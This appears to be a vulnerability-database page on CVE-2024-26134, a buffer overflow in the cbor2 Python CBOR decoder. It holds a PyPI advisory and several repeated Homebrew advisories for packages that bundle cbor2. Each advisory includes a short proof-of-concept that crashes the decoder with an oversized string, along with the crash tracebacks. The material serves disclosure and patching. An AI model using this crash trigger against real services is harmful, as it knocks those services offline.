Action not permitted
Modal body text goes here.
Modal Title
Modal Body
PYSEC-2024-155
Vulnerability from pysec - Published: 2024-02-19 23:15 - Updated: 2025-01-14 05:22
VLAI
Details
cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.
Severity
7.5 (High)
Impacted products
| Name | purl | cbor2 | pkg:pypi/cbor2 |
|---|
Aliases
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "cbor2",
"purl": "pkg:pypi/cbor2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "387755eacf0be35591a478d3c67fe10618a6d542"
},
{
"fixed": "4de6991ba29bf2290d7b9d83525eda7d021873df"
}
],
"repo": "https://github.com/agronholm/cbor2",
"type": "GIT"
},
{
"events": [
{
"introduced": "5.5.1"
},
{
"fixed": "5.6.2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"5.5.1",
"5.6.0",
"5.6.1"
]
}
],
"aliases": [
"CVE-2024-26134",
"GHSA-375g-39jq-vq7m"
],
"details": "cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.",
"id": "PYSEC-2024-155",
"modified": "2025-01-14T05:22:09.226388+00:00",
"published": "2024-02-19T23:15:07+00:00",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/agronholm/cbor2/security/advisories/GHSA-375g-39jq-vq7m"
},
{
"type": "ARTICLE",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BT42VXZMMMCSSHMA65KKPOZCXJEYHNR5/"
},
{
"type": "ARTICLE",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GX524ZG2XJWFV37UQKQ4LWIH4UICSGEQ/"
},
{
"type": "ARTICLE",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PWC3VU6YV6EXKCSX5GTKWLBZIDIJNQJY/"
},
{
"type": "EVIDENCE",
"url": "https://github.com/agronholm/cbor2/security/advisories/GHSA-375g-39jq-vq7m"
},
{
"type": "FIX",
"url": "https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542"
},
{
"type": "FIX",
"url": "https://github.com/agronholm/cbor2/commit/4de6991ba29bf2290d7b9d83525eda7d021873df"
},
{
"type": "REPORT",
"url": "https://github.com/agronholm/cbor2/pull/204"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/releases/tag/5.6.2"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-375g-39jq-vq7m"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
BREW-CRYTIC-COMPILE-CVE-… (GHSA-375G-39JQ-VQ7M)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:41 – Updated: 2026-09-09 23:49 – Source website
VLAI
Summary
Potential buffer overflow in CBOR2 decoder
Details
Summary
Ever since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was not able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)
Details
PoC
import json
import concurrent.futures
import cbor2
def test():
obj = "x" * 131128
cbor_enc = cbor2.dumps(obj)
return cbor2.loads(cbor_enc)
with concurrent.futures.ProcessPoolExecutor() as executor:
future = executor.submit(test)
print(future.result())
malloc(): unsorted double linked list corrupted
Traceback (most recent call last):
File "test.py", line 14, in <module>
print(future.result())
File "/usr/lib/python3.9/concurrent/futures/_base.py", line 440, in result
return self.__get_result()
File "/usr/lib/python3.9/concurrent/futures/_base.py", line 389, in __get_result
raise self._exception
concurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.
If one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.
import json
import cbor2
def test():
obj = "x" * 131128
cbor_enc = cbor2.dumps(obj)
return cbor2.loads(cbor_enc)
print(test())
Traceback (most recent call last):
File "test.py", line 12, in <module>
print(test())
File "test.py", line 9, in test
return cbor2.loads(cbor_enc)
SystemError: <built-in function loads> returned NULL without setting an error
Impact
An attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.
Severity
7.5 (High)
References
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "cbor2",
"resource_purl": "pkg:pypi/cbor2@6.1.3",
"upstream_fixed_in": "5.6.2"
},
"package": {
"ecosystem": "Homebrew",
"name": "crytic-compile",
"purl": "pkg:brew/crytic-compile"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/cbor2@6.1.3",
"name": "cbor2",
"resource": "cbor2",
"strategy": "registry",
"subject_version": "6.1.3"
}
]
},
"details": "### Summary\nEver since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was **not** able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)\n\n## Details\n\n\n### PoC\n```py\nimport json\nimport concurrent.futures\nimport cbor2\n\ndef test():\n obj = \"x\" * 131128\n cbor_enc = cbor2.dumps(obj)\n return cbor2.loads(cbor_enc)\n\nwith concurrent.futures.ProcessPoolExecutor() as executor:\n future = executor.submit(test)\n print(future.result())\n```\n\n```\nmalloc(): unsorted double linked list corrupted\nTraceback (most recent call last):\n File \"test.py\", line 14, in \u003cmodule\u003e\n print(future.result())\n File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 440, in result\n return self.__get_result()\n File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 389, in __get_result\n raise self._exception\nconcurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.\n```\n\nIf one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.\n\n```py\nimport json\nimport cbor2\n\ndef test():\n obj = \"x\" * 131128\n cbor_enc = cbor2.dumps(obj)\n return cbor2.loads(cbor_enc)\n\nprint(test())\n```\n\n```\nTraceback (most recent call last):\n File \"test.py\", line 12, in \u003cmodule\u003e\n print(test())\n File \"test.py\", line 9, in test\n return cbor2.loads(cbor_enc)\nSystemError: \u003cbuilt-in function loads\u003e returned NULL without setting an error\n```\n\n### Impact\nAn attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.",
"id": "BREW-crytic-compile-CVE-2024-26134",
"modified": "2026-09-09T23:49:38Z",
"published": "2026-08-13T16:41:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/security/advisories/GHSA-375g-39jq-vq7m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26134"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/pull/204"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/commit/4de6991ba29bf2290d7b9d83525eda7d021873df"
},
{
"type": "PACKAGE",
"url": "https://github.com/agronholm/cbor2"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/releases/tag/5.6.2"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/cbor2/PYSEC-2024-155.yaml"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BT42VXZMMMCSSHMA65KKPOZCXJEYHNR5"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GX524ZG2XJWFV37UQKQ4LWIH4UICSGEQ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PWC3VU6YV6EXKCSX5GTKWLBZIDIJNQJY"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Potential buffer overflow in CBOR2 decoder",
"upstream": [
"GHSA-375g-39jq-vq7m",
"CVE-2024-26134",
"PYSEC-2024-155"
]
}
BREW-ESPHOME-CVE-2024-26134 (GHSA-375G-39JQ-VQ7M)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:45 – Updated: 2026-09-09 23:53 – Source website
VLAI
Summary
Potential buffer overflow in CBOR2 decoder
Details
Summary
Ever since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was not able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)
Details
PoC
import json
import concurrent.futures
import cbor2
def test():
obj = "x" * 131128
cbor_enc = cbor2.dumps(obj)
return cbor2.loads(cbor_enc)
with concurrent.futures.ProcessPoolExecutor() as executor:
future = executor.submit(test)
print(future.result())
malloc(): unsorted double linked list corrupted
Traceback (most recent call last):
File "test.py", line 14, in <module>
print(future.result())
File "/usr/lib/python3.9/concurrent/futures/_base.py", line 440, in result
return self.__get_result()
File "/usr/lib/python3.9/concurrent/futures/_base.py", line 389, in __get_result
raise self._exception
concurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.
If one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.
import json
import cbor2
def test():
obj = "x" * 131128
cbor_enc = cbor2.dumps(obj)
return cbor2.loads(cbor_enc)
print(test())
Traceback (most recent call last):
File "test.py", line 12, in <module>
print(test())
File "test.py", line 9, in test
return cbor2.loads(cbor_enc)
SystemError: <built-in function loads> returned NULL without setting an error
Impact
An attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.
Severity
7.5 (High)
References
| URL | Type | ||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "cbor2",
"resource_purl": "pkg:pypi/cbor2@5.9.0",
"upstream_fixed_in": "5.6.2"
},
"package": {
"ecosystem": "Homebrew",
"name": "esphome",
"purl": "pkg:brew/esphome"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.7.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/cbor2@5.9.0",
"name": "cbor2",
"resource": "cbor2",
"strategy": "registry",
"subject_version": "5.9.0"
}
]
},
"details": "### Summary\nEver since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was **not** able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)\n\n## Details\n\n\n### PoC\n```py\nimport json\nimport concurrent.futures\nimport cbor2\n\ndef test():\n obj = \"x\" * 131128\n cbor_enc = cbor2.dumps(obj)\n return cbor2.loads(cbor_enc)\n\nwith concurrent.futures.ProcessPoolExecutor() as executor:\n future = executor.submit(test)\n print(future.result())\n```\n\n```\nmalloc(): unsorted double linked list corrupted\nTraceback (most recent call last):\n File \"test.py\", line 14, in \u003cmodule\u003e\n print(future.result())\n File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 440, in result\n return self.__get_result()\n File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 389, in __get_result\n raise self._exception\nconcurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.\n```\n\nIf one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.\n\n```py\nimport json\nimport cbor2\n\ndef test():\n obj = \"x\" * 131128\n cbor_enc = cbor2.dumps(obj)\n return cbor2.loads(cbor_enc)\n\nprint(test())\n```\n\n```\nTraceback (most recent call last):\n File \"test.py\", line 12, in \u003cmodule\u003e\n print(test())\n File \"test.py\", line 9, in test\n return cbor2.loads(cbor_enc)\nSystemError: \u003cbuilt-in function loads\u003e returned NULL without setting an error\n```\n\n### Impact\nAn attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.",
"id": "BREW-esphome-CVE-2024-26134",
"modified": "2026-09-09T23:53:49Z",
"published": "2026-08-13T16:45:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/security/advisories/GHSA-375g-39jq-vq7m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26134"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/pull/204"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/commit/4de6991ba29bf2290d7b9d83525eda7d021873df"
},
{
"type": "PACKAGE",
"url": "https://github.com/agronholm/cbor2"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/releases/tag/5.6.2"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/cbor2/PYSEC-2024-155.yaml"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BT42VXZMMMCSSHMA65KKPOZCXJEYHNR5"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GX524ZG2XJWFV37UQKQ4LWIH4UICSGEQ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PWC3VU6YV6EXKCSX5GTKWLBZIDIJNQJY"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Potential buffer overflow in CBOR2 decoder",
"upstream": [
"GHSA-375g-39jq-vq7m",
"CVE-2024-26134",
"PYSEC-2024-155"
]
}
BREW-KEEPER-COMMANDER-CV… (GHSA-375G-39JQ-VQ7M)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:01 – Updated: 2026-09-10 00:15 – Source website
VLAI
Summary
Potential buffer overflow in CBOR2 decoder
Details
Summary
Ever since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was not able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)
Details
PoC
import json
import concurrent.futures
import cbor2
def test():
obj = "x" * 131128
cbor_enc = cbor2.dumps(obj)
return cbor2.loads(cbor_enc)
with concurrent.futures.ProcessPoolExecutor() as executor:
future = executor.submit(test)
print(future.result())
malloc(): unsorted double linked list corrupted
Traceback (most recent call last):
File "test.py", line 14, in <module>
print(future.result())
File "/usr/lib/python3.9/concurrent/futures/_base.py", line 440, in result
return self.__get_result()
File "/usr/lib/python3.9/concurrent/futures/_base.py", line 389, in __get_result
raise self._exception
concurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.
If one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.
import json
import cbor2
def test():
obj = "x" * 131128
cbor_enc = cbor2.dumps(obj)
return cbor2.loads(cbor_enc)
print(test())
Traceback (most recent call last):
File "test.py", line 12, in <module>
print(test())
File "test.py", line 9, in test
return cbor2.loads(cbor_enc)
SystemError: <built-in function loads> returned NULL without setting an error
Impact
An attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.
Severity
7.5 (High)
References
| URL | Type | ||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "cbor2",
"resource_purl": "pkg:pypi/cbor2@6.1.4",
"upstream_fixed_in": "5.6.2"
},
"package": {
"ecosystem": "Homebrew",
"name": "keeper-commander",
"purl": "pkg:brew/keeper-commander"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "18.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/cbor2@6.1.4",
"name": "cbor2",
"resource": "cbor2",
"strategy": "registry",
"subject_version": "6.1.4"
}
]
},
"details": "### Summary\nEver since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was **not** able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)\n\n## Details\n\n\n### PoC\n```py\nimport json\nimport concurrent.futures\nimport cbor2\n\ndef test():\n obj = \"x\" * 131128\n cbor_enc = cbor2.dumps(obj)\n return cbor2.loads(cbor_enc)\n\nwith concurrent.futures.ProcessPoolExecutor() as executor:\n future = executor.submit(test)\n print(future.result())\n```\n\n```\nmalloc(): unsorted double linked list corrupted\nTraceback (most recent call last):\n File \"test.py\", line 14, in \u003cmodule\u003e\n print(future.result())\n File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 440, in result\n return self.__get_result()\n File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 389, in __get_result\n raise self._exception\nconcurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.\n```\n\nIf one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.\n\n```py\nimport json\nimport cbor2\n\ndef test():\n obj = \"x\" * 131128\n cbor_enc = cbor2.dumps(obj)\n return cbor2.loads(cbor_enc)\n\nprint(test())\n```\n\n```\nTraceback (most recent call last):\n File \"test.py\", line 12, in \u003cmodule\u003e\n print(test())\n File \"test.py\", line 9, in test\n return cbor2.loads(cbor_enc)\nSystemError: \u003cbuilt-in function loads\u003e returned NULL without setting an error\n```\n\n### Impact\nAn attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.",
"id": "BREW-keeper-commander-CVE-2024-26134",
"modified": "2026-09-10T00:15:38Z",
"published": "2026-08-13T17:01:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/security/advisories/GHSA-375g-39jq-vq7m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26134"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/pull/204"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/commit/4de6991ba29bf2290d7b9d83525eda7d021873df"
},
{
"type": "PACKAGE",
"url": "https://github.com/agronholm/cbor2"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/releases/tag/5.6.2"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/cbor2/PYSEC-2024-155.yaml"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BT42VXZMMMCSSHMA65KKPOZCXJEYHNR5"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GX524ZG2XJWFV37UQKQ4LWIH4UICSGEQ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PWC3VU6YV6EXKCSX5GTKWLBZIDIJNQJY"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Potential buffer overflow in CBOR2 decoder",
"upstream": [
"GHSA-375g-39jq-vq7m",
"CVE-2024-26134",
"PYSEC-2024-155"
]
}
BREW-MAGIC-WORMHOLE-CVE-… (GHSA-375G-39JQ-VQ7M)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:10 – Updated: 2026-09-10 00:28 – Source website
VLAI
Summary
Potential buffer overflow in CBOR2 decoder
Details
Summary
Ever since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was not able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)
Details
PoC
import json
import concurrent.futures
import cbor2
def test():
obj = "x" * 131128
cbor_enc = cbor2.dumps(obj)
return cbor2.loads(cbor_enc)
with concurrent.futures.ProcessPoolExecutor() as executor:
future = executor.submit(test)
print(future.result())
malloc(): unsorted double linked list corrupted
Traceback (most recent call last):
File "test.py", line 14, in <module>
print(future.result())
File "/usr/lib/python3.9/concurrent/futures/_base.py", line 440, in result
return self.__get_result()
File "/usr/lib/python3.9/concurrent/futures/_base.py", line 389, in __get_result
raise self._exception
concurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.
If one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.
import json
import cbor2
def test():
obj = "x" * 131128
cbor_enc = cbor2.dumps(obj)
return cbor2.loads(cbor_enc)
print(test())
Traceback (most recent call last):
File "test.py", line 12, in <module>
print(test())
File "test.py", line 9, in test
return cbor2.loads(cbor_enc)
SystemError: <built-in function loads> returned NULL without setting an error
Impact
An attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.
Severity
7.5 (High)
References
| URL | Type | ||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "cbor2",
"resource_purl": "pkg:pypi/cbor2@6.1.2",
"upstream_fixed_in": "5.6.2"
},
"package": {
"ecosystem": "Homebrew",
"name": "magic-wormhole",
"purl": "pkg:brew/magic-wormhole"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.24.0_3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/cbor2@6.1.2",
"name": "cbor2",
"resource": "cbor2",
"strategy": "registry",
"subject_version": "6.1.2"
}
]
},
"details": "### Summary\nEver since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was **not** able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)\n\n## Details\n\n\n### PoC\n```py\nimport json\nimport concurrent.futures\nimport cbor2\n\ndef test():\n obj = \"x\" * 131128\n cbor_enc = cbor2.dumps(obj)\n return cbor2.loads(cbor_enc)\n\nwith concurrent.futures.ProcessPoolExecutor() as executor:\n future = executor.submit(test)\n print(future.result())\n```\n\n```\nmalloc(): unsorted double linked list corrupted\nTraceback (most recent call last):\n File \"test.py\", line 14, in \u003cmodule\u003e\n print(future.result())\n File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 440, in result\n return self.__get_result()\n File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 389, in __get_result\n raise self._exception\nconcurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.\n```\n\nIf one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.\n\n```py\nimport json\nimport cbor2\n\ndef test():\n obj = \"x\" * 131128\n cbor_enc = cbor2.dumps(obj)\n return cbor2.loads(cbor_enc)\n\nprint(test())\n```\n\n```\nTraceback (most recent call last):\n File \"test.py\", line 12, in \u003cmodule\u003e\n print(test())\n File \"test.py\", line 9, in test\n return cbor2.loads(cbor_enc)\nSystemError: \u003cbuilt-in function loads\u003e returned NULL without setting an error\n```\n\n### Impact\nAn attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.",
"id": "BREW-magic-wormhole-CVE-2024-26134",
"modified": "2026-09-10T00:28:25Z",
"published": "2026-08-13T17:10:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/security/advisories/GHSA-375g-39jq-vq7m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26134"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/pull/204"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/commit/4de6991ba29bf2290d7b9d83525eda7d021873df"
},
{
"type": "PACKAGE",
"url": "https://github.com/agronholm/cbor2"
},
{
"type": "WEB",
"url": "https://github.com/agronholm/cbor2/releases/tag/5.6.2"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/cbor2/PYSEC-2024-155.yaml"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BT42VXZMMMCSSHMA65KKPOZCXJEYHNR5"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GX524ZG2XJWFV37UQKQ4LWIH4UICSGEQ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PWC3VU6YV6EXKCSX5GTKWLBZIDIJNQJY"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Potential buffer overflow in CBOR2 decoder",
"upstream": [
"GHSA-375g-39jq-vq7m",
"CVE-2024-26134",
"PYSEC-2024-155"
]
}
BREW-MODAL-CVE-2024-26134 (GHSA-375G-39JQ-VQ7M)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:14 – Updated: 2026-09-10 00:32 – Source website
VLAI
Summary
Potential buffer overflow in CBOR2 decoder
Details
Summary
Ever since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was not able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)
Details
PoC
import json
import concurrent.futures
import cbor2
def test():
obj = "x" * 131128
cbor_enc = cbor2.dumps(obj)
return cbor2.loads(cbor_enc)
with concurrent.futures.ProcessPoolExecutor() as executor:
future = executor.submit(test)
print(future.result())
malloc(): unsorted double linked list corrupted
Traceback (most recent call last):
File "test.py", line 14, in <module>
print(future.result())
File "/usr/lib/python3.9/concurrent/futures/_base.py", line 440, in result
return self.__get_result()
File "/usr/lib/python3.9/concurrent/futures/_base.py", line 389, in __get_result
raise self._exception
concurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.
If one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.
import json
import cbor2
def test():
obj = "x" * 131128
cbor_enc = cbor2.dumps(obj)
return cbor2.loads(cbor_enc)
print(test())
Traceback (most recent call last):
File "test.py", line 12, in <module>
print(test())
File "test.py", line 9, in test
return cbor2.loads(cbor_enc)
SystemError: <built-in function loads> returned NULL without setting an error
Impact
An attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.
Severity
7.5 (High)
References
| URL | Type | ||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "cbor2",
"resource_purl": "pkg:pypi/cbor2@6.1.4",
"upstream_fixed_in": "5.6.2"
},
"package": {
"ecosystem": "Homebrew",
"name": "modal",
"purl": "pkg:brew/modal"
},
